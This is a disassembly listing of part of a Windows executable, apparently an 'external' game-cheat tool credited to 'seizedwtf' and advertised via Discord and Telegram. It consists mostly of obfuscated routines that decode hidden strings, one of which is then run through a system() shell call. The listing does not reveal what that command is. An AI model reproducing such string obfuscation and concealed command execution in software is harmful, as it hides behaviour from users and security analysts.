xorps xmm1, xmm0
movd dword [rbp + 0x630], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
movd xmm0, dword [rbp + 0x634]
xorps xmm1, xmm0
movd dword [rbp + 0x634], xmm1
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp + 0x630]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xc
jl 0x14004eb00
lea rdx, [rbp + 0x630]
mov rcx, r9
call fcn.140002380
mov rdx, qword [0x140174c48]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x140004db0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [0x140175498]
mov rcx, rdi
call fcn.140042050
mov rcx, rdi
call fcn.14003cfd0
mov rcx, qword [0x140174dd0]
call fcn.14003cad0
cmp al, 1
jne 0x140050d01
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, qword [0x140175498]
call fcn.14003c670
nop
cmp dword [rbp - 0x48], 0
jne 0x140050cfa
mov r14, qword [rbp + 0x598]
mov rdi, qword [rbp + 0x590]
mov rsi, qword [rbp + 0x580]
lea rcx, [rbp + 0x580]
cmp r14, 0xf
cmova rcx, rsi
cmp rdi, 1
jne 0x140050ea0
mov r8, rdi
lea rdx, [0x1401012c8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140050ea0
mov dword [rbp + 0x610], 0xd34d457b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x614], xmm0
mov word [rbp + 0x624], ax
mov byte [rbp + 0x626], al
nop dword [rax]
mov r9, qword [0x140175488]
mov r8, qword [0x140175490]
nop
xor r11d, r11d
cmp r11, 0x17
jae 0x14004f697
movzx r10d, byte [rbp + r11 + 0x610]
mov rdx, r10
nop dword [rax]
cmp r9, r11
ja 0x14004f68e
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x14004ec8b
movabs rcx, 0xe0c40bb353b78032
add rcx, r11
mov rax, rcx
and rax, rdx
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, rdx
sub sil, 0x5e
mov qword [rsp + 0x60], rsi
jmp 0x14004ecb2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0xc08]
jmp 0x14004e8da
lea rax, [r8 + 1]
cmp r9, rax
je 0x14004f604
lea rax, [r8 + 2]
cmp r9, rax
je 0x14004f56f
lea rax, [r8 + 3]
cmp r9, rax
je 0x14004f510
cmp r8, r11
ja 0x14004f685
lea rax, [r8 + 0xa]
cmp r9, rax
jae 0x14004ece3
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x60], rdx
jmp 0x14004ed10
lea rax, [r8 + 1]
cmp r9, rax
je 0x14004f4c3
lea rax, [r8 + 2]
cmp r9, rax
je 0x14004f4a9
lea rax, [r8 + 5]
cmp r9, rax
je 0x14004f487
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x14004f230
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14004f213
lea rax, [r8 + 6]
cmp r9, rax
je 0x14004f1eb
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14004f1c6
lea rax, [r8 + 4]
cmp r9, rax
je 0x14004f1a9
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x14004f18f
lea rax, [r8 + 2]
cmp r9, rax
je 0x14004f170
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x14004f156
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x14004f137
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14004f11d
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x14004ed20
lea r9, [r8 + 0x40]
lea r8, [r9 + 0x61]
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14004f660
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x14004f63b
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14004ef12
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x14004eef0
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14004eed1
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x14004f0fe
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14004f0b3
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14004f073
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x14004f049
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14004ed20
lea r9, [r8 + 0xa]
lea r8, [r9 + 0x200]
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14004f02f
lea rax, [r8 + 8]
cmp r9, rax
ja 0x14004f010
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14004eff6
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14004efd7
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x14004efbd
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x14004ef9f
lea rax, [r8 + 1]
cmp r9, rax
ja 0x14004ef7a
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14004ef52
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x14004ef34
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14004ed20
lea r9, [r8 + 0x42]
lea r8, [r9 + 0x40]
jmp 0x14004ed20
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x70
mov qword [rsp + 0x60], rdx
jmp 0x14004ed10
lea edx, [r11 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x60], rdx
jmp 0x14004ecb2
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x60], rdx
jmp 0x14004ec36
lea ecx, [r11 - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x4f
movzx edi, r11b
jmp 0x14004f4db
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x39
inc r8
mov qword [rsp + 0x60], rdx
dec r11
inc r11
jmp 0x14004ec23
lea ecx, [r11 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x23
mov qword [rsp + 0x60], rdx
dec r11
inc r11
jmp 0x14004ec23
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0xd
movzx edi, r11b
jmp 0x14004f52b
lea ecx, [r11 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 9
jmp 0x14004f54f
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1f
mov qword [rsp + 0x60], rdx
jmp 0x14004f557
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x35
jmp 0x14004f590
lea ecx, [r11 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4b
mov qword [rsp + 0x60], rdx
jmp 0x14004f5c1
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x61
jmp 0x14004f61f
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x18
mov qword [rsp + 0x60], rdx
mov byte [rbp + r11 + 0x610], dl
inc r11
jmp 0x14004ec23
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2e
mov qword [rsp + 0x60], rdx
cmp r8, 0x28
jb 0x14004f063
movzx edi, r11b
lea ecx, [rdi - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0xe]
jmp 0x14004f4db
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x44
mov qword [rsp + 0x60], rdx
cmp r9, 0x80
jae 0x14004f443
lea rax, [r8 + 0x5a]
cmp r9, rax
jbe 0x14004f3d3
lea ecx, [r11 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x63
jmp 0x14004f088
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5a
mov qword [rsp + 0x60], rdx
jmp 0x14004f2fc
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7f
jmp 0x14004f61f
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6b
mov qword [rsp + 0x60], rdx
jmp 0x14004f5c1
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x55
jmp 0x14004f590
lea ecx, [r11 - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3f
mov qword [rsp + 0x60], rdx
jmp 0x14004f557
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x29
jmp 0x14004f54f
movzx edi, r11b
lea ecx, [rdi + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x13
jmp 0x14004f52b
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 3
mov qword [rsp + 0x60], rdx
dec r11
inc r11
jmp 0x14004ec23
lea ecx, [r11 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x19
inc r8
mov qword [rsp + 0x60], rdx
dec r11
inc r11
jmp 0x14004ec23
movzx edi, r11b
lea ecx, [rdi - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2f
jmp 0x14004f4db
lea rax, [r8 + 6]
cmp r9, rax
jae 0x14004f258
lea ecx, [r11 - 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x75
mov qword [rsp + 0x60], rdx
jmp 0x14004f2fc
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004f27b
lea ecx, [r11 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1b
jmp 0x14004f61f
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14004f2a3
lea ecx, [r11 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 5
mov qword [rsp + 0x60], rdx
jmp 0x14004f5c1
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14004f2c9
movzx edi, r11b
lea ecx, [rdi - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x53
jmp 0x14004f52b
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14004f2f7
lea ecx, [r11 - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x69
mov qword [rsp + 0x60], rdx
dec r11
inc r11
jmp 0x14004ec23
mov rdx, qword [rsp + 0x60]
lea rax, [r8 + r9]
cmp rax, 0x1000
je 0x14004f465
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x14004f335
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14004f0c8
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004f35e
movzx edi, r11b
lea edx, [rdi - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14004f4db
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14004f384
movzx edi, r11b
lea ecx, [rdi + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x72
jmp 0x14004f52b
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14004f3ac
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x46
mov qword [rsp + 0x60], rdx
jmp 0x14004f557
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14004f0cd
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 4
jmp 0x14004f61f
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14004f3f6
lea ecx, [r11 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4d
jmp 0x14004f61f
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14004f419
lea ecx, [r11 - 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x21
jmp 0x14004f590
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14004f08d
movzx edi, r11b
lea ecx, [rdi + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x63
jmp 0x14004f4db
movzx edi, r11b
lea edx, [rdi - 0x39]
movzx eax, dl
and al, r10b
add al, al
movzx ecx, byte [rbp + r11 + 0x610]
sub cl, al
sub dl, 0x71
jmp 0x14004f526
lea ecx, [r11 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x610]
lea edx, [r10 + rcx]
sub dl, 0x5b
jmp 0x14004f590
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
mov qword [rsp + 0x60], rdx
jmp 0x14004f557
movzx edi, r11b
lea ecx, [rdi + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2a
jmp 0x14004f52b
movzx edi, r11b
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6c
add dil, 0x24
movzx eax, dil
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x610], cl
inc r8
mov qword [rsp + 0x60], rdx
dec r11
inc r11
jmp 0x14004ec23
movzx edi, r11b
lea edx, [rdi - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add dil, 0x6a
movzx eax, dil
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x610], cl
mov qword [rsp + 0x60], rdx
add r9, r8
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004ec23
movabs rcx, 0xa5f0795660ef6c04
add rcx, r11
movzx r10d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1c
mov qword [rsp + 0x60], rdx
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x610], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x45
add cl, r10b
mov byte [rbp + r11 + 0x610], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x610]
add rax, r8
add r11, rax
inc r11
jmp 0x14004ec23
movabs rcx, 0x227d8594581f7978
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub dl, 0x48
add dl, cl
mov qword [rsp + 0x60], rdx
movzx eax, byte [rbp + r11 + 0x610]
add rax, r8
add r11, rax
inc r11
jmp 0x14004ec23
add r11b, 0x3e
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
mov qword [rsp + 0x60], rdx
jmp 0x14004ec20
sub r11b, 8
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
mov qword [rsp + 0x60], rdx
jmp 0x14004ec10
lea rcx, [rbp + 0x1714723]
jmp 0x14004f69e
lea rcx, [rbp + 0xa543c6]
jmp 0x14004f69e
lea rcx, [rbp + 0x610]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14003c9b0
lea rcx, str._External_made_by:__seizedwtf_
call fcn.14000d650
mov edx, 7
mov rcx, qword [0x140174dc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._Discord:__https:__dsc.gg_avhook____Always_updated.
call fcn.14000d650
lea rcx, str._Telegram:__https:__t.me_avhook____Always_updated.
call fcn.14000d650
call fcn.14003c9b0
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x6a0], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6a1], xmm0
mov dword [rbp + 0x6b1], eax
mov byte [rbp + 0x6b5], al
nop word [rax + rax]
mov r9, qword [0x140175488]
mov r10, qword [0x140175490]
nop
xor r11d, r11d
cmp r11, 0x16
jae 0x14005009d
movzx r8d, byte [rbp + r11 + 0x6a0]
mov r14, qword [rsp + 0x70]
mov rdx, r8
nop
cmp r9, r11
ja 0x140050094
lea rax, [r10 + 0x28]
cmp r9, rax
jae 0x14004f77a
movabs rcx, 0x2acf553575b81f2e
add rcx, r11
mov rax, rcx
and rax, rdx
imul r14, rax, 0xfffffffffffffffe
add r14, rcx
add r14, rdx
sub r14b, 0x42
mov qword [rsp + 0x70], r14
jmp 0x14004f7c0
lea rax, [r10 + 1]
cmp r9, rax
je 0x14005000c
lea rax, [r10 + 3]
cmp r9, rax
je 0x14004ffd4
lea rax, [r10 + 5]
cmp r9, rax
je 0x14004ff91
lea rax, [r10 + 2]
cmp r9, rax
je 0x14004ff66
lea rax, [r10 + 7]
cmp r9, rax
je 0x14004ff19
nop dword [rax + rax]
cmp r10, r11
ja 0x14005008b
lea rcx, [r10 + 4]
cmp r9, rcx
jae 0x14004f7f5
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx r14d, cl
mov qword [rsp + 0x70], r14
jmp 0x14004f832
lea rax, [r10 + 1]
cmp r9, rax
je 0x14004ff0b
lea rax, [r10 + 2]
cmp r9, rax
je 0x14004ff00
lea rax, [r10 + 3]
cmp r9, rax
je 0x14004fee0
cmp r9, rcx
je 0x14004fe51
lea rax, [r10 + 9]
cmp r9, rax
je 0x14004fe36
lea rax, [r10 + r9]
cmp rax, r11
jbe 0x14004fbc1
nop
lea rax, [r10 + 0x2a]
cmp r9, rax
je 0x14004fba4
lea rax, [r10 + 0x40]
cmp r9, rax
je 0x14004fb7c
lea rax, [r10 + 0x200]
cmp r9, rax
je 0x14004fb57
lea rax, [r10 + 0x61]
cmp r9, rax
je 0x14004fb38
lea rax, [r10 + 0xa]
cmp r9, rax
je 0x14004fb1e
lea r9, [r10 + 8]
lea r10, [r9 + 0x200]
lea rax, [r10 + 0x20]
cmp r9, rax
jb 0x140050067
lea rax, [r10 + 0x64]
cmp r9, rax
jb 0x140050043
lea rax, [r10 + 3]
cmp r9, rax
jb 0x14004f962
lea rax, [r10 + 8]
cmp r9, rax
jb 0x14004f93d
lea rax, [r10 + 0x5a]
cmp r9, rax
jb 0x14004fa60
lea rax, [r10 + 0x1000]
cmp r9, rax
jb 0x14004fa34
lea r9, [r10 + 0x3e8]
lea r10, [r9 + 3]
lea rax, [r10 + 0x7a]
cmp r9, rax
ja 0x14004fa1a
lea rax, [r10 + 1]
cmp r9, rax
ja 0x14004f9fe
lea rax, [r10 + 0x42]
cmp r9, rax
ja 0x14004f9e0
lea rax, [r10 + 0x3e8]
cmp r9, rax
ja 0x14004f9c4
lea rax, [r10 + 0x10]
cmp r9, rax
ja 0x14004f9a4
lea rax, [r10 + 6]
cmp r9, rax
ja 0x14004f987
lea r9, [r10 + 4]
lea r10, [r9 + 0x42]
jmp 0x14004f840
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rsp + 0x70], r14
jmp 0x14004f7c0
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rsp + 0x70], r14
jmp 0x14004f73b
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7f
add cl, r8b
movzx edi, r11b
jmp 0x14004ff34
lea edx, [r11 + 0x3b]
movzx eax, r8b
and al, dl
add al, al
movzx r14d, r8b
sub r14b, al
add r14b, 0x63
movzx edi, r11b
jmp 0x14004ffab
lea ecx, [r11 - 0x79]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
add r14b, 0x4f
jmp 0x14004ffee
lea edx, [r11 - 0x53]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
add cl, 0x45
movzx edi, r11b
jmp 0x14004fe6a
lea edx, [r11 - 0x2d]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
add cl, 0x3b
add cl, dl
jmp 0x14004fe98
lea ecx, [r11 - 7]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
add cl, 0x31
add cl, r8b
jmp 0x140050027
lea ecx, [r11 + 0x58]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x68
mov qword [rsp + 0x70], r14
mov byte [rbp + r11 + 0x6a0], r14b
inc r11
jmp 0x14004f723
lea edx, [r11 - 0x36]
movzx eax, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx r14d, cl
mov qword [rsp + 0x70], r14
lea rax, [r10 + r9]
cmp rax, 3
je 0x14004fe14
lea rax, [r10 + 0x7a]
cmp r9, rax
jbe 0x14004fc87
lea edx, [r11 - 0x46]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
sub cl, 0x16
add cl, dl
movzx r14d, cl
mov qword [rsp + 0x70], r14
cmp r9, 0x42
jae 0x14004fdea
lea rax, [r10 + 9]
cmp r9, rax
jbe 0x14004fd49
lea edx, [r11 + 0x2b]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
sub cl, 0x2d
add cl, dl
movzx r14d, cl
mov qword [rsp + 0x70], r14
cmp r10, 0x2a
jb 0x14004fa50
movzx edi, r11b
lea edx, [rdi - 0x51]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
add cl, 0x37
add cl, dl
add cl, cl
jmp 0x14004ff34
lea ecx, [r11 - 0x19]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
sub cl, 0x51
add cl, r8b
jmp 0x140050027
movzx edi, r11b
lea edx, [rdi - 0x5b]
movzx eax, r8b
and al, dl
add al, al
movzx r14d, r8b
sub r14b, al
add r14b, 0x7d
jmp 0x14004ffab
lea ecx, [r11 - 0x35]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
add cl, 0x73
add cl, r8b
mov qword [rsp + 0x70], rcx
dec r11
inc r11
jmp 0x14004f723
lea ecx, [r11 - 0xf]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
add cl, 0x69
add cl, r8b
inc r10
mov qword [rsp + 0x70], rcx
dec r11
inc r11
jmp 0x14004f723
movzx edi, r11b
lea edx, [rdi + 0x17]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
add cl, 0x5f
jmp 0x14004ff32
lea rax, [r10 + 0x61]
cmp r9, rax
jae 0x14004fbe4
lea edx, [r11 - 0x13]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
sub cl, 0x7b
jmp 0x14004fa76
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14004fc07
lea ecx, [r11 + 0x23]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
add cl, 0xb
add cl, r8b
jmp 0x140050027
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14004fc2d
movzx edi, r11b
lea edx, [rdi - 0x29]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
add cl, 0x1f
jmp 0x14004fe6a
lea rax, [r10 + 4]
cmp r9, rax
jne 0x14004fc55
movzx edi, r11b
lea edx, [rdi + 0x65]
movzx eax, r8b
and al, dl
add al, al
movzx r14d, r8b
sub r14b, al
add r14b, 0x3d
jmp 0x14004ffab
lea rax, [r10 + 2]
cmp r9, rax
jne 0x14004fa81
lea ecx, [r11 + 0x3f]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
add cl, 0x47
add cl, r8b
mov qword [rsp + 0x70], rcx
dec r11
inc r11
jmp 0x14004f723
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14004fcad
movzx edi, r11b
lea edx, [rdi - 0x6c]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
sub cl, 0xc
jmp 0x14004ff32
lea rax, [r10 + 2]
cmp r9, rax
jne 0x14004fcde
lea ecx, [r11 + 0x6e]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
sub cl, 2
add cl, r8b
inc r10
mov qword [rsp + 0x70], rcx
dec r11
inc r11
jmp 0x14004f723
lea rax, [r10 + 3]
cmp r9, rax
jne 0x14004fd07
movzx edi, r11b
lea edx, [rdi + 0x22]
movzx eax, r8b
and al, dl
mov ecx, 9
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
jmp 0x14004ffab
lea rax, [r10 + 7]
cmp r9, rax
jne 0x14004fd21
movzx edi, r11b
lea edx, [rdi - 0x50]
mov ecx, Ordinal_26
jmp 0x14004fe5d
lea rax, [r10 + 8]
cmp r9, rax
jne 0x14004fabc
lea edx, [r11 + 0x64]
movzx eax, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140050025
lea rax, [r10 + 1]
cmp r9, rax
jne 0x14004fd6c
lea ecx, [r11 + 5]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
sub cl, 0x23
add cl, r8b
jmp 0x140050027
lea rax, [r10 + 2]
cmp r9, rax
jne 0x14004fd92
movzx edi, r11b
lea edx, [rdi - 0x47]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
sub cl, 0xf
jmp 0x14004fe6a
lea rax, [r10 + 5]
cmp r9, rax
jne 0x14004fdc0
lea ecx, [r11 + 0x21]
movzx eax, r8b
and al, cl
add al, al
sub r8b, al
add cl, 0x19
add cl, r8b
mov qword [rsp + 0x70], rcx
dec r11
inc r11
jmp 0x14004f723
lea rax, [r10 + 8]
cmp r9, rax
jne 0x14004faf3
movzx edi, r11b
lea edx, [rdi - 0x2b]
movzx eax, r8b
and al, dl
add al, al
movzx ecx, r8b
sub cl, al
add cl, 0x2d
